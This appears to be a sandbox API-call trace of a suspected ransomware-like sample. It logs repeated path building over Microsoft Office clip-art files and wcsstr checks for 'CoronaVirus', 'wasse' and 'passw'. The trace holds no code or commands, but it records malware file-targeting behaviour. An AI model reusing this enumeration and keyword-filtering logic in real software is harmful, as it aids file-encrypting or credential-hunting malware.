	[0101.015] malloc (_Size=0x1000) returned 0x51f5098
	[0101.015] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg") returned 68
	[0101.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg", _SubStr="wasse") returned 0x0
	[0101.016] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.jpg", _SubStr="passw") returned 0x0
	[0101.021] malloc (_Size=0x1000) returned 0x51f3088
	[0101.021] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg") returned 68
	[0101.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg", _SubStr="wasse") returned 0x0
	[0101.021] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.jpg", _SubStr="passw") returned 0x0
	[0101.057] malloc (_Size=0x1000) returned 0x51f0070
	[0101.063] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg") returned 68
	[0101.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.071] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg", _SubStr="wasse") returned 0x0
	[0101.071] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.jpg", _SubStr="passw") returned 0x0
	[0101.076] malloc (_Size=0x1000) returned 0x51f4090
	[0101.077] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg") returned 68
	[0101.077] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.077] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg", _SubStr="wasse") returned 0x0
	[0101.085] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.jpg", _SubStr="passw") returned 0x0
	[0101.087] malloc (_Size=0x1000) returned 0x51f3088
	[0101.133] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg") returned 68
	[0101.133] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.133] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg", _SubStr="wasse") returned 0x0
	[0101.133] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.jpg", _SubStr="passw") returned 0x0
	[0101.159] malloc (_Size=0x1000) returned 0x51f4090
	[0101.159] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg") returned 68
	[0101.159] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.160] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg", _SubStr="wasse") returned 0x0
	[0101.160] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.jpg", _SubStr="passw") returned 0x0
	[0101.189] malloc (_Size=0x1000) returned 0x51f5098
	[0101.190] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg") returned 68
	[0101.190] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.190] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg", _SubStr="wasse") returned 0x0
	[0101.190] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.jpg", _SubStr="passw") returned 0x0
	[0101.193] malloc (_Size=0x1000) returned 0x51f3088
	[0101.193] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg") returned 68
	[0101.193] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.193] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg", _SubStr="wasse") returned 0x0
	[0101.193] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.jpg", _SubStr="passw") returned 0x0
	[0101.250] malloc (_Size=0x1000) returned 0x51f60a0
	[0101.250] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg") returned 68
	[0101.251] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.251] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg", _SubStr="wasse") returned 0x0
	[0101.253] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.jpg", _SubStr="passw") returned 0x0
	[0101.256] malloc (_Size=0x1000) returned 0x51f0070
	[0101.256] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg") returned 68
	[0101.256] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.256] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg", _SubStr="wasse") returned 0x0
	[0101.256] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.jpg", _SubStr="passw") returned 0x0
	[0101.315] malloc (_Size=0x1000) returned 0x51f3088
	[0101.315] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg") returned 68
	[0101.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg", _SubStr="wasse") returned 0x0
	[0101.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.jpg", _SubStr="passw") returned 0x0
	[0101.318] malloc (_Size=0x1000) returned 0x51f60a0
	[0101.318] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg") returned 68
	[0101.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg", _SubStr="wasse") returned 0x0
	[0101.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.jpg", _SubStr="passw") returned 0x0
	[0101.375] malloc (_Size=0x1000) returned 0x51f0070
	[0101.375] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg") returned 68
	[0101.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg", _SubStr="wasse") returned 0x0
	[0101.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.jpg", _SubStr="passw") returned 0x0
	[0101.378] malloc (_Size=0x1000) returned 0x51f3088
	[0101.378] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg") returned 68
	[0101.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg", _SubStr="wasse") returned 0x0
	[0101.378] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.jpg", _SubStr="passw") returned 0x0
	[0101.419] malloc (_Size=0x1000) returned 0x51f4090
	[0101.431] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg") returned 68
	[0101.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg", _SubStr="wasse") returned 0x0
	[0101.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.jpg", _SubStr="passw") returned 0x0
	[0101.437] malloc (_Size=0x1000) returned 0x51f3088
	[0101.437] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg") returned 68
	[0101.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg", _SubStr="wasse") returned 0x0
	[0101.437] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.jpg", _SubStr="passw") returned 0x0
	[0101.489] malloc (_Size=0x1000) returned 0x51f60a0
	[0101.489] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg") returned 68
	[0101.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg", _SubStr="wasse") returned 0x0
	[0101.490] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.jpg", _SubStr="passw") returned 0x0
	[0101.509] malloc (_Size=0x1000) returned 0x51f4090
	[0101.520] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg") returned 68
	[0101.520] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.520] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg", _SubStr="wasse") returned 0x0
	[0101.520] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.jpg", _SubStr="passw") returned 0x0
	[0101.650] malloc (_Size=0x1000) returned 0x51f5098
	[0101.671] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg") returned 68
	[0101.671] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.671] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg", _SubStr="wasse") returned 0x0
	[0101.672] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.jpg", _SubStr="passw") returned 0x0
	[0101.678] malloc (_Size=0x1000) returned 0x51f60a0
	[0101.678] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg") returned 68
	[0101.678] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.678] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg", _SubStr="wasse") returned 0x0
	[0101.678] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.jpg", _SubStr="passw") returned 0x0
	[0101.843] malloc (_Size=0x1000) returned 0x51f3088
	[0101.843] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg") returned 68
	[0101.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg", _SubStr="wasse") returned 0x0
	[0101.843] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.jpg", _SubStr="passw") returned 0x0
	[0101.846] malloc (_Size=0x1000) returned 0x51f4090
	[0101.846] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg") returned 68
	[0101.846] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.846] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg", _SubStr="wasse") returned 0x0
	[0101.846] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.jpg", _SubStr="passw") returned 0x0
	[0101.919] malloc (_Size=0x1000) returned 0x51f3088
	[0101.919] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg") returned 68
	[0101.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg", _SubStr="wasse") returned 0x0
	[0101.919] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.jpg", _SubStr="passw") returned 0x0
	[0101.922] malloc (_Size=0x1000) returned 0x51f5098
	[0101.933] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg") returned 68
	[0101.933] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg", _SubStr="wasse") returned 0x0
	[0101.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.jpg", _SubStr="passw") returned 0x0
	[0101.944] malloc (_Size=0x1000) returned 0x51f0070
	[0101.944] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg") returned 68
	[0101.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg", _SubStr="wasse") returned 0x0
	[0101.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.jpg", _SubStr="passw") returned 0x0
	[0101.956] malloc (_Size=0x1000) returned 0x51f0070
	[0101.958] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg") returned 68
	[0101.958] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.958] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg", _SubStr="wasse") returned 0x0
	[0101.958] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg", _SubStr="passw") returned 0x0
	[0101.961] malloc (_Size=0x1000) returned 0x51f3088
	[0101.961] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg") returned 68
	[0101.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg", _SubStr="CoronaVirus") returned 0x0
	[0101.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg", _SubStr="wasse") returned 0x0
	[0101.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg", _SubStr="passw") returned 0x0
	[0102.026] malloc (_Size=0x1000) returned 0x51f5098
	[0102.029] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg") returned 68
	[0102.029] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.029] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg", _SubStr="wasse") returned 0x0
	[0102.029] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg", _SubStr="passw") returned 0x0
	[0102.032] malloc (_Size=0x1000) returned 0x51f0070
	[0102.032] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg") returned 68
	[0102.032] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.032] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg", _SubStr="wasse") returned 0x0
	[0102.032] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg", _SubStr="passw") returned 0x0
	[0102.058] malloc (_Size=0x1000) returned 0x51f0070
	[0102.058] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg") returned 68
	[0102.058] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.058] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg", _SubStr="wasse") returned 0x0
	[0102.058] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg", _SubStr="passw") returned 0x0
	[0102.061] malloc (_Size=0x1000) returned 0x51f80b0
	[0102.061] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg") returned 68
	[0102.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg", _SubStr="wasse") returned 0x0
	[0102.061] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg", _SubStr="passw") returned 0x0
	[0102.069] malloc (_Size=0x1000) returned 0x51f90b8
	[0102.069] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg") returned 68
	[0102.069] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.069] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg", _SubStr="wasse") returned 0x0
	[0102.069] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg", _SubStr="passw") returned 0x0
	[0102.072] malloc (_Size=0x1000) returned 0x51fa0c0
	[0102.072] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg") returned 68
	[0102.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg", _SubStr="wasse") returned 0x0
	[0102.072] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg", _SubStr="passw") returned 0x0
	[0102.075] malloc (_Size=0x1000) returned 0x51f3088
	[0102.075] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png") returned 68
	[0102.075] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png", _SubStr="CoronaVirus") returned 0x0
	[0102.075] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png", _SubStr="wasse") returned 0x0
	[0102.075] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png", _SubStr="passw") returned 0x0
	[0102.079] malloc (_Size=0x1000) returned 0x51fb0c8
	[0102.079] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png") returned 68
	[0102.079] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png", _SubStr="CoronaVirus") returned 0x0
	[0102.079] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png", _SubStr="wasse") returned 0x0
	[0102.079] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png", _SubStr="passw") returned 0x0
	[0102.083] malloc (_Size=0x1000) returned 0x51f4090
	[0102.083] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png") returned 68
	[0102.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png", _SubStr="CoronaVirus") returned 0x0
	[0102.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png", _SubStr="wasse") returned 0x0
	[0102.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png", _SubStr="passw") returned 0x0
	[0102.087] malloc (_Size=0x1000) returned 0x51fc0d0
	[0102.087] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png") returned 68
	[0102.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png", _SubStr="CoronaVirus") returned 0x0
	[0102.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png", _SubStr="wasse") returned 0x0
	[0102.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png", _SubStr="passw") returned 0x0
	[0102.090] malloc (_Size=0x1000) returned 0x51f5098
	[0102.090] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png") returned 68
	[0102.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png", _SubStr="CoronaVirus") returned 0x0
	[0102.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png", _SubStr="wasse") returned 0x0
	[0102.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png", _SubStr="passw") returned 0x0
	[0102.465] malloc (_Size=0x1000) returned 0x51f0070
	[0102.465] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif") returned 68
	[0102.465] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif", _SubStr="CoronaVirus") returned 0x0
	[0102.465] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif", _SubStr="wasse") returned 0x0
	[0102.465] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.gif", _SubStr="passw") returned 0x0
	[0102.468] malloc (_Size=0x1000) returned 0x51f80b0
	[0102.468] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp") returned 68
	[0102.483] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0102.483] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp", _SubStr="wasse") returned 0x0
	[0102.483] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.bmp", _SubStr="passw") returned 0x0
	[0102.499] malloc (_Size=0x1000) returned 0x51f3088
	[0102.499] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp") returned 68
	[0102.499] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp", _SubStr="CoronaVirus") returned 0x0
